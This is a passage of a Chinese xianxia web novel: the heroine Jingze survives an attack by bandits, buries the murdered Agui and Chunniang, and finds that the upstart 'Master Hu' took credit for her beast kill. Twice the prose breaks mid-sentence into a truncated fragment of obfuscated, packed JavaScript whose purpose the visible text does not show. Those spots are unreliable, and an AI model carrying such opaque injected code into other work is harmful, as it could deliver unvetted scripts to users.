贺连城冷哼一声,懒得再看这对苦命鸳鸯,扬起下巴朝暗门方向高声喝道:“里面的人,听好了!那两个老东西已经被我抓住了!若不想他们受到折磨,便速速出来相见!我的耐性,可是有限的!” 阿贵听到这话,瞳孔骤然收缩,喉间发出更剧烈的“呜呜”声。 暗门后,景泽立于黑暗之中,紧握着那柄刻有“长明”二字的宝剑,指节发白。门外究竟发生了何事?为何会传来如此凄惨的“呜呜”之声?会是陷阱么? 她想起阿贵临别时叮嘱过她,说无论外面有什么动静都别出去。 然而,不出去,并非不能出声。 万一他们真的因自己而遇害,她日后有何面目苟活于世?又有何颜面去见师尊,去见兄长? 门外,贺连城的声音再次响起,比先前更加冰冷:“我倒数十声。十声过后,你若再不现身,便等着替他们收尸吧!” “十。” 景泽的心猛地一沉。 “九。” “八。” “七。” 她闭上双眼,深深吸了一口气。 “六。” “五。” 她不能赌,她赌不起。 “四。” “三。” 景泽不能让他们为自己而死。 “二” “有事冲我来!放了春娘他们!” 她用尽全身力气朝外面喊道。 阿贵闻声,缓缓闭上了双眼。 贺连城嘴角勾起一抹满意的微笑,宛如猎人看着猎物踏入陷阱。他扭头看向阿贵,只见阿贵跪坐于地,双目紧闭,一副宁死不屈的模样。 即便此刻将他碎尸万段,他也绝不会开启此门。 贺连城冷哼一声,不再多言。既然已确定门后有人,他的目的已然达到。他朝身后一挥手,厉声喝道: “给我把这面墙砸了!尤其是这道门!” 数名手持巨斧的悍匪应声上前,抡圆了斧头,狠狠地向墙壁劈去。那斧头皆是贺连城重金购自红市的利器,以天外陨铁打造,锋锐无匹。 斧落之处,石屑纷飞,裂纹如蛛网般迅速蔓延,整面墙壁连同地面都在剧烈颤抖,尘土簌簌而下,呛得贺连城连连后退,忙用手帕掩住口鼻。 “继续砸!不许停!”贺连城命令道。 阿贵跪坐于地,耳边是震耳欲聋的斧凿之声,意识却渐渐飘远。 短短一盏茶功夫,他竟接连做了三个梦。 第一个梦,是他初为人父之时。小丫丫刚学会说话,咧着没牙的小嘴,奶声奶气地喊他“爹爹”。那声音又软又糯,甜得他心头发暖,眼角竟有些湿润。 第二个梦,丫丫已能蹒跚学步,却仍伸出小手,仰着粉雕玉琢的小脸,脆生生地喊着“爹爹抱抱”。他弯腰将她举起,她便咯咯笑着,小手揪住他的头发,痒痒的,疼疼的,却是世间最幸福的滋味。 第三个梦,丫丫长大了,亭亭玉立,站在一片朦胧的白光里,背对着他。他唤她,她缓缓回过头,脸上没有笑容,只有纵横的泪水。她问他:“爹爹,你为何不来救我?若你来了,我便可长大成人了。” 阿贵猛地睁开双眼。 暗门已被砸开大半,缝隙中隐约透出密室内的微光。贺连城站在不远处,捻着扳指,静待那扇门彻底崩塌。 不能再退了。 宗门没落,女儿惨死,如今阿泽亦身陷囹圄。他还能退到哪里去?还能忍到何时? 一股沛然莫御的力气忽然从丹田升起,流遍四肢百骸。阿贵猛地一挣,竟将那坚韧的牛筋索崩断!他双手撑地,腰腹发力,猛地向前扑出,张开血盆大口,狠狠咬住了贺连城的大腿! “啊——!!!”贺连城发出一声凄厉惨嚎,那声音尖锐刺耳,划破了寂静的夜空。阿贵死死咬住不放,鲜血顺着嘴角淌下,染红了他的衣襟。他猛地一甩头,竟生生撕下一大块血肉。 “给我废了他!废了他!!”贺连城痛得浑身抽搐,抱着鲜血淋漓的大腿踉跄后退,声音嘶哑变形,“杀了他!谁宰了他,老子赏一万两黄金!” 重赏之下,必有勇夫。那些原本围攻景泽的手下一听“一万两黄金”,眼珠子都红了,纷纷调转兵刃,如饿狼般扑向阿贵。 与此同时,暗门轰然炸裂,碎石四溅,烟尘弥漫。景泽自密室内飞身而出,足尖在碎裂的门框上一点,身形如电,接连踩过几名持斧喽啰的头颅,手中“长明”剑在空中划出一道银亮的弧光。 “铛!” 剑锋精准无比地架住了那柄即将砍中阿贵的长刀。火星四射,金铁交鸣之声震耳欲聋。然而景泽毕竟灵脉受制,功力大打折扣,此刻以一敌众,已是勉力支撑。她的手臂微微颤抖,虎口被震得发麻,几乎握不住剑柄。 阿贵趁此间隙,再次扑向贺连城,对着他另一条大腿又是一阵疯狂撕咬。贺连城痛得几乎晕厥,鲜血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“放开我!!”景泽疯狂挣扎,然而身体被制,根本动弹不得。滚烫泪水自指缝间溢出,滚滚而下,嘶吼道:“我要杀了他们!我要报仇!我要他们血债血偿!放开我!放开我!!” “嘘——!”身后男子轻轻吐出一个字。一记掌刀落下,不轻不重,正中她后颈。 景泽眼前一黑,直挺挺向后倒去,落入男子怀中。 众手下终于看清了那男子的面容。 霎时间,瞳孔骤缩,面色惨白如纸,仿佛白日见鬼。不,应该是比见鬼还要可怖! 那男子双瞳之中,竟有幽幽鬼火在燃烧。 非烛火映照,非月光反射,而是自瞳仁深处燃起的真火。两簇火焰在眸中摇曳倾倒,将他面容映照得妖异而冷峻。 丝丝缕缕的黑气在男子周身缭绕着,盘旋游走着,所过之处,烛火皆黯。 “妖……妖怪啊!!”不知是谁先失声惊呼。 这一声喊破了众人心胆。那帮汉子弃了兵刃,连滚带爬地向外逃窜,恨不能多生两条腿。 贺连城扭头一瞥,呼吸为之一窒。 那男子……那男子容貌妖异,美得令人心折,尤其是那双燃着鬼火的眼眸,只轻轻一眨。 贺连城衣衫忽地无火自燃。 那火非同寻常,赤中带金,焰心幽蓝,如何扑打都不熄灭。 他拍、他打、他满地打滚,皆是无用。 那火似认准了他,如附骨之疽,一寸寸舔舐他的肌肤,烧进他的血肉。 “啊——!!救命!救命啊!!”贺连城痛得满地翻滚,肥硕身躯扭曲挣扎,哭嚎声撕心裂肺,“知道我是谁吗!我们楼主是不会放过你们的!啊啊啊啊!他定要让你们血债血偿!!不得好死!!” 哭喊声中,纥奚时砚打横抱起昏迷的景泽,他将她的手臂轻轻搭于自己颈间。抬脚踏过满地打滚的贺连城、踏过那一滩滩血泊时,连眼皮都未眨一下,径直朝外走去。 屋内只余下满地的鲜血、碎肉、残肢、断刀,以及贺连城撕心裂肺的惨叫,在夜空中久久回荡,直到被风吹散,直到被黑暗吞没。 11. 暗室收尸埋旧恨,长街闻死笑浮生 这一夜,景泽辗转反侧,睡不安稳。 朦胧之中,尽是血光。春娘倒在血泊之中,阿贵被乱刀斫为肉泥,贺连城浑身裹着赤金火焰,满地打滚,惨呼之声不绝于耳。 她欲喊不能,欲奔不得,双足似灌了铅一般,只能眼睁睁瞧着那些惨状循环往复,如堕入无间地狱,永无出期。 也不知过了多少时辰,她终于从那无边梦魇中挣了出来。猛地睁开眼,入目却是一片陌生的帐顶。 淡青色的床帐,素白的布帘,几缕日光从窗棂缝隙间漏将进来,在地上投下疏疏落落的光斑。 她正躺在客栈的床上。 景泽倏地坐起,心脏几乎要从腔子里蹦出来。她不及多想,一把掀开枕头,翻起被褥,手忙脚乱地四下摸索。 ——那只斜挎包正安安稳稳搁在床边,巴掌大的木盒也在,完好无损。 她长长吐出一口气,身子一软,靠在了床栏上。 可这口气还未吐完,另一个念头便如冷水兜头泼下。 她是怎么到的这间客栈? 昨夜究竟发生了什么? 她只记得自己从密室中冲将出去,记得阿贵扑上去咬住贺连城的大腿,记得无数刀光向阿贵招呼过去,记得自己声嘶力竭地呼喊……再然后呢?再然后,她被人点了穴道,被人蒙了眼睛,被人一掌劈晕了过去。 此后之事,她半点印象也无。 景泽心头一紧,掀开被子跳下床来,弯腰穿好鞋,挎上包便往门口奔去。指尖刚触上门板,还未及拉开。 门自己开了。 门外站着一人,身形极高,几欲顶到门框。景泽收势不住,直直撞了上去,只听“砰”的一声,额头正正磕在那人胸口。 当真疼得紧。 景泽龇着牙往后跳了一步,伸手去揉脑门,心里暗骂:这人胸口是铁打的不成?怎地硬成这样? “姑娘当心。” 声音自头顶传下,沉稳如古寺暮钟,不疾不徐。 景泽揉着脑门抬起头来,眼前顿时一亮。 是他。 那个戴斗笠的少侠。仍是那身洗得发白的劲装,仍是那顶压得极低的旧斗笠,眉眼藏在阴影之中,只露出棱角分明的下颌,和微微抿着的薄唇。 只见他左手提着一只油纸包,右手拎着一个食盒,盒盖未曾盖严,隐隐透出肉包子和热粥的香气。 少侠微微侧身,越过她走进屋中,将油纸包和食盒放在桌上,一边解着系绳,一边道:“姑娘这是要出门么?若是急着赶路,不妨先用过早饭再走。” “不……”景泽刚要推辞,肚子却不争气地先开了口。咕噜噜一声长鸣,在这间不大的客房里回荡开来,甚是响亮。 那声音实在太响,响得景泽恨不得寻个地缝钻将进去。她脸上一阵发烧,从脖子直红到耳根,连耳垂都染了一层粉色。 她垂下眼去,不敢瞧那少侠,只恨不得把肚子按住,不让它再叫。 那少侠却似什么都没听见一般,不紧不慢地将食盒里的物事一样一样取将出来。鸡蛋、肉包子、油条、馅饼、小米粥、咸菜……摆了小半张桌子,花花绿绿,热气腾腾,香气四溢。 “不知姑娘口味如何,便随意买了些。”少侠的声音依旧是那副波澜不惊的口气。 景泽望着那快堆成小山的早餐,心中暗想:这叫“随意买了些”?莫说三天,便是吃上五日也尽够了。 罢了,先吃再说。人是铁,饭是钢,吃饱了才好想旁的事。 景泽也不客气,在桌边坐下,抓起一只肉包子便往嘴里塞。那包子皮薄馅大,一口咬下,肉汁四溢,烫得她直哈气,却舍不得吐出来。 她一口气塞了五个大肉包子,又灌了半碗小米粥,这才觉得魂儿回来了。 “少侠,”她抬起头来,嘴里还嚼着最后一口油条,含糊不清地问道,“敢问昨夜是你将我带到客栈来的么?” 少侠坐在桌对面,微微颔首:“在下恰巧路过,听得里面打斗之声,便进去瞧了瞧。见那些匪徒以多欺少,便将姑娘从他们手中救了出来,送来此处。” 景泽咀嚼的动作慢了下来,她咽下嘴里的油条,喃喃道:“原来如此……” 忽又想起一事,声音骤然紧了起来:“那对老夫妻呢?少侠可曾救下他们?” 少侠没有立时回答。他微微偏了偏头,斗笠的阴影遮住了大半张脸,瞧不清神色。 沉默片刻,他才开口,声音比方才低了些:“在下赶到时,那位老伯已被乱刀斫得血肉模糊……怕是没了性命。至于老妇人,当时情景太过混乱,在下不及细看。若姑娘想去瞧瞧,在下可以陪姑娘走一遭。” 听得“血肉模糊”四字,景泽瞳孔猛地一缩,手中的半根油条险些握不住。她垂下眼,盯着桌面上那些残羹剩饭,沉默良久。 然后她摇了摇头。 “不必了。”她的声音有些哑,却竭力让自己显得平静,“少侠救下我,我已感激不尽。若还要劳烦少侠陪我跑这一趟,实在过意不去。况且……” 少侠似乎有些好奇,微微侧头:“况且什么?” 景泽的脸又红了。她低下头,用筷子戳着碗里剩下的粥,语速极快:“况且……男女授受不亲。少侠是陌生男子,我们……还是保持些距离为好。” 说完这话,她自己也觉得矫情。人家救了自己的命,她却拿“男女授受不亲”来推辞人家的好意,这不是忘恩负义么?可是师尊教过她的,要与陌生男子保持距离。她上次就没听,抱着少侠的脖子不撒手,事后自责了好久。 她低着头戳粥,全然没有瞧见少侠微微勾起的嘴角。 斗笠的阴影下,那双薄唇弯起一个极浅的弧度,似是欣慰,又似心疼。 他垂在身侧的手微微动了动,指节蜷了蜷,像是想抬手摸摸她的脑袋,却又生生忍住了。 她怎地变得这样乖了? 一时间,他心中五味杂陈。欢喜的是她还记得自己的教诲,心疼的是她一个人在外吃了这许多苦,却还守着那些规矩,连别人的好意都不敢坦然接受。 “你一个人,当真使得?”少侠问道,声音比方才又轻了几分。 “使得!少侠放心!”景泽拍了拍自己的胸脯,又抬起手臂,弯了弯肘,向少侠展示了一下那截细得可怜的手臂,上面别说肌肉,便是肉也没有几两,“我身手好得很!寻常人奈何不了我!若是连这点小事都要麻烦少侠,那往后的路,我一个人可怎么走?” 见她言笑晏晏,少侠沉默片刻,终于点了点头:“那姑娘多保重。” 景泽低头将脖子上的月牙吊坠取了下来。 那吊坠通体莹白,在日光下泛着温润的光泽,是上好的羊脂玉雕成,弧度圆润而流畅。景泽用指尖摩挲了一下玉面,然后递到少侠面前。 “少侠救我一命,我全身上下就这块玉还值些银钱。”她的声音甚是认真,一字一顿,“我把它送给少侠,权当答谢救命之恩。” 少侠的目光落在那枚月牙吊坠上。 斗笠下,他的脸瞬间沉了下去。 那块玉,是他亲手雕的。那年她刚拜入师门,年纪尚小,夜里怕黑,不敢独睡。他便寻了一块上好的羊脂玉,花了三日三夜,一刀一刀雕成月牙之形,又用红绳穿好,亲手挂在她脖子上。 她那时候分明欢喜得紧,现在是不喜欢了么?还是因为还在恨他? 见她把这块玉送给了一个“陌生的少侠”。 即便那“陌生的少侠”便是他自己,他还是觉得胸口像是被什么堵住了,闷得发慌。 她怎可将自己亲手所赠之物转手送人? 怎么可以! 哪怕那个人是自己,他也觉得不舒服,甚至有些难过。 他深吸一口气,正要开口拒绝,一抬眼,桌前已经没人了。 放眼看去,桌上的吃食已被吃了个干净,只剩下那只月牙吊坠孤零零搁在桌面上。 他伸出手,将那吊坠捏在指尖,指腹在上面细细摩挲。 玉面上还残留着她掌心的余温,温温热热的。他闭了闭眼,再睁开时,那双瞳孔深处倏地燃起了两簇倒悬的火焰,如从九幽之下引来的业火,骇人至极。 可那火光只闪烁了一瞬,便被他压了下去。 他将吊坠贴身收好,站起身来,走出了房门。 · 景泽回到烧饼铺时,已是午后。 推开门的那一刻,她整个人僵在了门槛上。 屋中景象比她想象的还要惨烈。桌椅翻倒,碎瓷片散了一地,墙上、地上、柜子上,到处都是干涸的血迹,暗红发黑。空气里弥漫着浓重的血腥气与腐臭气,苍蝇嗡嗡乱飞,黑压压地趴伏在那些已然僵硬的尸体上。 横七竖八,尽是死人。 景泽在门口站了许久,久到双腿发麻,才迈过门槛,走了进去。 她先从那些尸体当中找到了阿贵。少侠说得不错,阿贵的尸身已然血肉模糊,几乎辨不出人形,身上的衣衫被刀砍成了布条,露出下面翻卷的皮肉和白森森的骨头。 若不是她认得那件打了补丁的短褐,她根本认不出这便是那个每日在灶前烙烧饼、笑呵呵将烧饼翻面的老人。 她眼眶一下子就红了。 然后她又寻到了春娘。春娘的尸身还算完整,蜷缩在墙角,嘴巴大张,里面尽是干涸的血,没有舌头! 怎会没有舌头呢? 她总算知道密室里听到的呜呜声是从何而来的了! 景泽咬着嘴唇,不让自己哭出声来。她将春娘和阿贵的尸身拖了出来,一具一具搬到院子一角,又折返回去,将其余的尸身一具一具拖将出来,堆在院子的另一角。 那些尸体当中,有几具通体焦黑,皮肤炭化龟裂,如被大火烧过。 景泽多看了两眼,心中微微一动:少侠的法术是火系的么?这一点倒是与师尊有几分相似。 · 景泽花了整整一个下午的功夫,才将屋子收拾妥当。 虽不能完全恢复旧观,但至少瞧着没那么骇人了。她把翻倒的桌椅扶正,把碎瓷片扫作一堆,用湿布将能擦的血迹擦了擦,又将那些尸身用破布盖好,免得招来更多的苍蝇。 做完这一切,天已经黑透了。 她蹲在院中,洗了手,洗了脸,然后靠着墙根坐下来,仰头望天。 今夜无月,云层甚厚,黑压压地压在沧溟城上空,像是要塌下来一般。远处偶尔传来几声犬吠,风穿过屋檐的时候,呜呜咽咽,如泣如诉。 她没有哭。 她知道现在不是哭的时候。 入夜之后,景泽趁着街坊邻舍都熄了灯,这才开始处置那些尸体。 她用春娘给她的银钱,摸黑走了两条街,寻到了一辆专拉尸身的马车。 车把式是个四十来岁的汉子,脸上有道疤,脖子上搭着一条灰扑扑的毛巾。见了她也不惊讶,像是早已习惯了半夜被人叫起来拉尸的营生。 待车把式赶着马车来到烧饼铺门口,看到院子里堆成小山的尸身时,只是“嚯”了一声,用毛巾擦了擦额角:“这么多?姑娘,你这生意可不小啊。” 景泽没说话,闷着头帮他把尸身往车上搬。那些尸身又沉又僵,有的还流着脓水,臭气熏天,可她连眉头都没皱一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“伯父,伯母,”她的声音极轻,轻得像是怕惊扰了他们,“阿泽不好,连累你们了。你们放心,我会常回来看你们的。每年清明、中元、冬至,我都会来给你们烧纸上香。你们若是缺了什么,便托梦给我,我给你们捎来。” 说完这些话,她又跪了片刻,然后站起身来,将烧饼铺里里外外检查了好几遍,确定没有遗漏什么要紧物事,尤其是密室里的那些东西,她都仔细查看过了,暗门已碎,她用柜子重新堵上,从外面瞧不出什么破绽。 一切妥当之后,她锁上门,把钥匙藏在门框上面的横梁上,转身走进了夜色里。 走了很远,她才回过头看了一眼。 这一眼,她再也忍不住了,蹲在路边,捂着脸哭了出来。她没有哭出声,只是肩膀一耸一耸的,泪水从指缝间渗出来,滴在青石板上,洇开一小片深色的湿痕。 她想,是不是没有她,春娘和阿贵便不会死? 这个问题像一把生了锈的刀,卡在她心里,拔不出来,也咽不下去。 · 翌日清晨,景泽来到神武大街。 她想用身上剩下的所有银钱,把那个被奶奶卖的小姑娘买下来。她答应过那个小姑娘。虽然如今她穷得叮当响,但她想,哪怕倾尽所有,也要兑现这个承诺。 然她自街头行至街尾,往返三遭,始终未见那对祖孙。 卖糖葫芦老叟仍在,馄饨摊子照旧,连墙角乞食之老丐亦在,唯独那祖孙二人,杳无踪迹。 景泽心中隐隐升起一股不祥预感。她步入路边一家杂货铺,向店主打听。 店主乃四十许妇人,正坐柜台后嗑瓜子,闻言沉吟半晌,方“哦”了一声,漫不经心道:“那小丫头啊,早死了。” 景泽心猛地一沉,“死了?如何死的?” 妇人抬眼觑她,奇道:“你问这个作甚?死个人算甚稀奇?外头走两步便能撞见饿殍,你没瞧见?” 景泽攥紧拳头,指节捏得发白,一字一顿:“究竟如何死的?” “嘿,你瞪我做甚!”妇人被她眼神慑住,手中瓜子壳掉在柜上,“又不是我杀的!冲我发火作甚?” 景泽依旧瞪着对方。 妇人被她盯得心中发毛,摆手道:“罢了罢了,告你知道也无妨。半月之前,此地来了个暴发户,欲买她回去作妾。那小丫头抵死不从,嚷着‘有人会来赎我’,叫她奶奶再等等。她奶奶气得满地打滚,滚完了便指着她鼻子骂,什么难听话都骂出口了,什么贱人娼妇、不要脸白眼狼……你说一个七八岁孩子,哪受得住这个?” 妇人说到此处,嗑瓜子动作顿住,摇头叹道:“那丫头不知怎地,大约是受不住了,当街一头撞向石柱,当场就咽了气。” 景泽指甲深深掐入掌心。 妇人却未察她神色,自顾说道:“她奶奶当时悔得肠子都青了,哭得死去活来,可后悔有何用?人死不能复生。依我看,她奶奶若当时好言好语劝着,说不定还能卖个好价钱。结果人一死,亏大了,折价折了几百倍,你猜最后卖了多少钱?” 妇人来了兴致,掰着指头算:“好像是七个铜板?不对,八个?七个还是八个来着……”她搔着头皮,眼珠乱转,陷入纠结。 景泽立在当地,张了张嘴,喉头却似被无形之手扼住,一个字也吐不出来。 最终,她转过身,跨出店门。 阳光刺目,令她难以睁眼。街上行人如织,小贩吆喝此起彼伏,馄饨摊热气氤氲,路边几具腐尸散发恶臭,几个乞丐奋力伸来破碗:“行行好,行行好……” 景泽忽觉这世道操蛋至极,操蛋得令人作呕。 “姑娘!我想起来了!”身后传来妇人追出的喊声,“是八个!最后买家还多还了一个!姑娘!你跑甚么呀?八个铜板!” 景泽并未回头。她低着头,加快脚步,穿过人群,穿过街巷,穿过那喧闹欢笑与人间烟火。 眼眶又红了,然这一次,她没有哭。 她笑了。 12. 神武大街观异象,朱门府外遇故人 景泽正行于神武大街,忽觉身后人声聒噪。初时不过三两闲汉窃语,未几便似热油泼水,轰然炸开。 整条街霎时鼎沸,卖馄饨的撂了长勺,挑担子的歇了竹杠,连巷口那终日眯眼打盹的老乞儿也挣将起来,拄着破竹竿踉跄往街心挤。老老少少,男男女女,挨挨挤挤,伸颈踮脚,齐齐往一处张望。 “咄!休得挤我!”一个满脸横肉的汉子扒着前头肩膀,急得额上青筋暴起,“且让洒家瞧瞧,那传说中的暴发户究竟生得怎生模样?” “什么暴发户!”旁边一个瘦高个儿白眼一翻,“是虎老爷!都这般唤他!端的富可敌国!咱神武大街最大的宅子,三进三出,光门房便有十二间,全教他买下了!” “啧啧,这般阔气!”那汉子咂着嘴,眼中几欲冒出绿光,“直娘贼,妒杀我也!你说我几时也能杀头凶兽,发笔横财?” “你?”瘦高个儿上下打量,嗤笑道,“杀鸡尚且手抖,还杀凶兽?” 围观者愈聚愈多,里三层外三层,将整条神武大街堵得水泄不通。景泽被人潮推搡,身不由己往前挪了数步,心下也不禁好奇:这虎老爷究竟是哪路神仙,竟能引来如此阵仗? 她踮脚顺众目望去。 街尽头,一支豪奢车队正缓缓而来。 那排场之大,让景泽不由倒抽一口凉气。 打头三十六名高头大马的侍卫,个个身披银甲,腰悬长刀。马匹通体乌黑,鬃毛油亮,蹄声齐整,踏在青石板上嘚嘚作响。其后八名红衣仪仗,手持旌旗幡幢,旗上绣着金灿灿的“虎”字,映日生辉。 旌旗之后,便是那辆主车。 马车通体紫檀木所造,车顶镶金丝楠木雕花,四角各悬琉璃宫灯,灯穗垂着流苏,风过时款款摇曳。车身两侧绘五彩祥云与仙鹤,栩栩如生。 “这排场,快比得上城主出巡了罢?”有人小声嘀咕。 “可不是!听说虎老爷这车队,光那四匹白马就花了八千两银子,一匹两千两!” “天爷!两千两一匹马?这马是金子打的么?” 围观人群惊叹连连,羡的妒的好奇的不屑的,种种目光交织如网,将整支车队笼在其中。孩童骑在父亲脖上,拍手咯咯直笑;大姑娘小媳妇躲在人后,偷眼打量车帘后若隐若现的身影,颊上飞红。 景泽被人群挤得东倒西歪,好容易在路边石阶上寻了个立足之地,踮脚往那边瞧。她心下暗忖:这位“虎老爷”确实富得流油,单看这车队的排场,便知他囊中银子至少得以“万”计数。 车队在虎宅门前缓缓停下。那宅子端的气派,朱漆大门高约丈许,钉着铜钉,映日闪闪。门楣上悬一块赤金牌匾,上书“虎府”二字,笔力遒劲,不知出自哪位名家之手。 车夫跳下车来,弯腰放下踏板。四周所有人的目光都落在马车那扇云锦幕帘上,屏息凝神,只待那位传说中的“虎老爷”现身。 “听说这虎老爷身手十分了得!”一个书生模样的年轻人摇着折扇,对身旁人说道,语带仰慕。 “可不是!”他的同伴连连点头,眼中放光,“这虎老爷先前不过是隔壁街的混混,穷得叮当响,吃了上顿没下顿。后来不知走了什么狗屎运,杀了一头上古凶兽,摇身一变,竟成了暴发户,从此走上人生巅峰!你说这上哪儿说理去?” “混混怎地?英雄不问出处!人家能杀凶兽,便是本事!” “也是也是……” 景泽听到此处,心中一动。上古凶兽?她想起自己在深山老林里遇到的那头梼杌,对这虎老爷顿生几分敬意,能从上古凶兽爪下全身而退,还能将其斩杀,这份本事,确非寻常人能有的。 她忍不住往前挤了挤,想一睹这位英雄的风采。 “那是什么样的上古凶兽呀?”她随口问旁边一个正眉飞色舞的小哥。 小哥正讲得唾沫横飞,闻言愈发来了精神,一拍大腿道:“我知道!好像叫……叫什么来着?”他的表情忽然僵住,张了张嘴,眉头拧成一团,“梼……梼什么来着?哎呀,这名字忒拗口,到了嘴边就是想不起来!” 景泽正要提醒,人群中忽然爆出一阵山呼海啸般的欢呼—— “虎老爷!虎老爷!虎老爷!” 那声音齐整如潮,震耳欲聋。景泽吓了一跳,连忙抬头望去。 马车的幕帘已然掀开。 一个身穿华丽锦袍的男人从里面躬身而出。那锦袍是大红色的,上绣金灿灿的祥云纹样,在阳光下晃得人眼晕。腰间系一条白玉镶嵌的革带,挂着玉佩、香囊、荷包,琳琅满目,叮叮当当。浑身上下无处不散发着一种“我很有钱”的气息。 可他的身形并不高大,甚至说得上矮小,站在那辆气势恢宏的马车旁边,单看背影,谁能相信,这么个看起来平平无奇的人,竟能斩杀上古凶兽? 景泽忽然觉得这背影有些眼熟。 虎老爷从马车上下来,不紧不慢地整了整衣领,又掸了掸袖口上并不存在的灰尘。他似乎极享受这种万众瞩目的滋味,微微扬起下巴,转过身来,朝人群挥手致意。 “虎老爷威武!”人群中有人高喊。 “虎老爷是我的榜样!”又有人跟着起哄。 虎老爷笑得更欢了,露出一口白牙,眼睛眯成两条缝。他挥手的动作极慢,活像戏台上的大人物在接见臣民。 景泽看清了那张脸。 她的瞳孔猛地一缩,整个人如遭雷殛,僵在当地。 那不是虎哥么?! 她瞪大了眼睛,难以置信地将那张脸与记忆中的形象反复比对。虽然如今穿金戴银、人模狗样,可那眉眼、那鼻子、那嘴巴,分明就是那个在深山老林里把她骗去送死、自己却脚底抹油跑得比兔子还快的混账! 她再看虎老爷旁边站着的那个狗腿子,尖嘴猴腮,骨瘦如柴,一双眼睛骨碌碌乱转,不是六子又是谁?! “我想起来了!”旁边的小哥一拍大腿,兴奋得声音都劈了叉,“那上古凶兽叫梼杌!对对对,就是梼杌!据说长得可吓人了,又高又大,寻常人根本不是它的对手!怪不得能在红市上卖到八百八十八万两黄金呢!八百八十八万两啊!我的老天爷,我八辈子也挣不了这许多!” 景泽的后槽牙咬得咯咯作响。 八百八十八万两黄金。 那是她的梼杌。那是她用命换来的。她削木为弓,蘸毒为箭,在树上蹲了整整一夜,差点被半步果毒成残废,才将那凶兽射杀。这两个混账,遇险时跑得比谁都快,事后还抢了她的战果,在此大摇大摆地当起了暴发户? 不要脸!直是不要脸之极! 虎哥正感受着众人的欢呼,得意洋洋地挥完手,准备转身进宅子,忽听人群中传来一声暴喝。 “好哇!虎哥!六子!” 那声音又尖又厉,所有人都愣住了,纷纷扭头朝声音来处望去。 虎哥的脚步也顿住了。他的笑容僵在脸上,缓缓转过头,目光穿过人群,看到了那张瘦削且满是怒气的脸。 景泽已从人群中挤到了最前面。她攥着拳头,眼眶通红,骂道:“你们拿着我的功劳在此充阔,还要脸不要?把我的功劳还来!把钱还来!” 虎哥的脸霎时青了。只见他嘴角抽了抽,眼中闪过一丝慌乱,一把拽过六子,压低声道:“快,快进去!”扭头朝门口的侍卫喝道,“把这女子拦下!千万莫让她靠近我!” 说罢,他一把掀起衣袍,同六子连滚带爬地钻进了宅子,那扇朱漆大门在他身后砰的一声合上。 景泽正要追上去,几个牛高马大的侍卫已挡在她面前。这些侍卫个个虎背熊腰,盔甲下的脸冷如铁板。 景泽抬头看了看那些侍卫,又看了看自己瘦得皮包骨的胳膊,一咬牙,收住了脚步。 赤手空拳,她不是这些人的对手。况且虎宅里头还不知道有多少护卫,这般硬闯,与送死无异。 她深吸一口气,将那口恶气压了下去。 正所谓,君子报仇,十年不晚。 可别让她单独碰着虎哥和六子,届时她定将他们打得满地找牙。 · 景泽也不知自己近日究竟是怎么了,倒霉的事一件接着一件。春娘和阿贵死了,那个小姑娘也死了,如今连本该属于她的梼杌都被人抢了。 她垂头丧气地走在太阳底下,影子被拉得又长又瘦。天大地大,接下来该往何处去?她摸了摸挎包里那只方方正正的木盒子,忽觉肩上的担子又重了几分。 “新出的裂陆杂报!走过的路过的,千万莫错过!都来看一看嘞!” 街边一家杂报铺子正在当街吆喝,小贩站在板凳上,手里扬着一叠报纸,喊得嗓子都哑了。 那报纸印得粗糙,纸张泛黄,可上面的内容却是时下最热门的谈资。 好些关心时事的路人被吆喝声吸引了过去,景泽作为《裂陆杂报》的头号粉丝,自然也凑了上去。 她拿起一份裂陆杂报,随手翻了翻。报上密密麻麻印着近来发生的大事小情,有城东张家的狗生了崽,有城西李家的姑娘嫁了人,有城南又失踪了好几个百姓,也有城北的富商捐了一座桥。翻到第三版,她的目光忽然顿住了。 那篇报道的标题极大,占了整整半版,用的是加粗的黑体字。 “魔君逸归尘或重现人间?沧溟城失踪案背后的惊天秘密!” 报道的内容大致是说,近来沧溟城无故失踪了好些人,活不见人死不见尸,仙察处和六扇门经过一番调查后,得出了一个令人毛骨悚然的结论:那些失踪案,很可能与一百年前那个拉着天下陪葬的魔君逸归尘有关。 “逸归尘”三字像一颗石子投进了平静的湖面,激起千层浪。 原本围在报摊前看热闹的人群瞬间炸了锅,方才还 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“怕他个锤子!”络腮胡壮汉一巴掌拍在报摊上,震得报纸哗啦啦响,“狗贼逸归尘,就该下地狱!永世不得翻身!若不是他当初引下天罚,咱们的日子比现在好过成千上百倍!老子便是豁出性命,也得将他挫骨扬灰!” “对!挫骨扬灰!”有人跟着喊道。 “让他魂飞魄散!” “永世不得超生!” 群情激愤,骂声此起彼伏。景泽站在人群中间,听这些人七嘴八舌地咒骂逸归尘,渐渐拼凑出了那段尘封百年的往事。 一百年前,天下尚未裂为六城,整块大陆还是一整片,唤作灵昭国。彼时国泰民安,修士辈出,飞升者络绎不绝,人间一片祥和。 直到那个魔君出现。 逸归尘,这三个字本身便是一段血腥的历史。据说他生性残忍,嗜杀成性,为修炼邪术,不惜屠村灭城,以活人的血肉和魂魄炼制法器。他炼的邪术有“血煞大法”“万魂归宗”“幽冥鬼火”等等,每一种都需数以千计的活人献祭。那些被他盯上的人,死都死不安生,魂魄被禁锢,永世不得超生,沦为他的傀儡和奴隶。 更可恨的是,灵昭国的国君非但不阻止他,反而与他狼狈为奸,沆瀣一气。国王将他奉为国师,赐他良田千顷、黄金万两,甚至将王室公主嫁他为妻。举国上下,无人敢言,无人敢反抗。那些稍有怨言的大臣,第二天便会暴毙家中,死状凄惨,七窍流血,魂魄不知所踪。 逸归尘的所作所为,终于连上天都看不下去了。 那一日,天昏地暗,日月无光。九天之上降下天罚,雷霆万钧,将整块大陆劈成六块。山河破碎,生灵涂炭,无数人在那场灾难中丧生,无数家庭支离破碎。人间成了炼狱,哀鸿遍野,血流成河。 天罚之后,飞升之门关闭了。 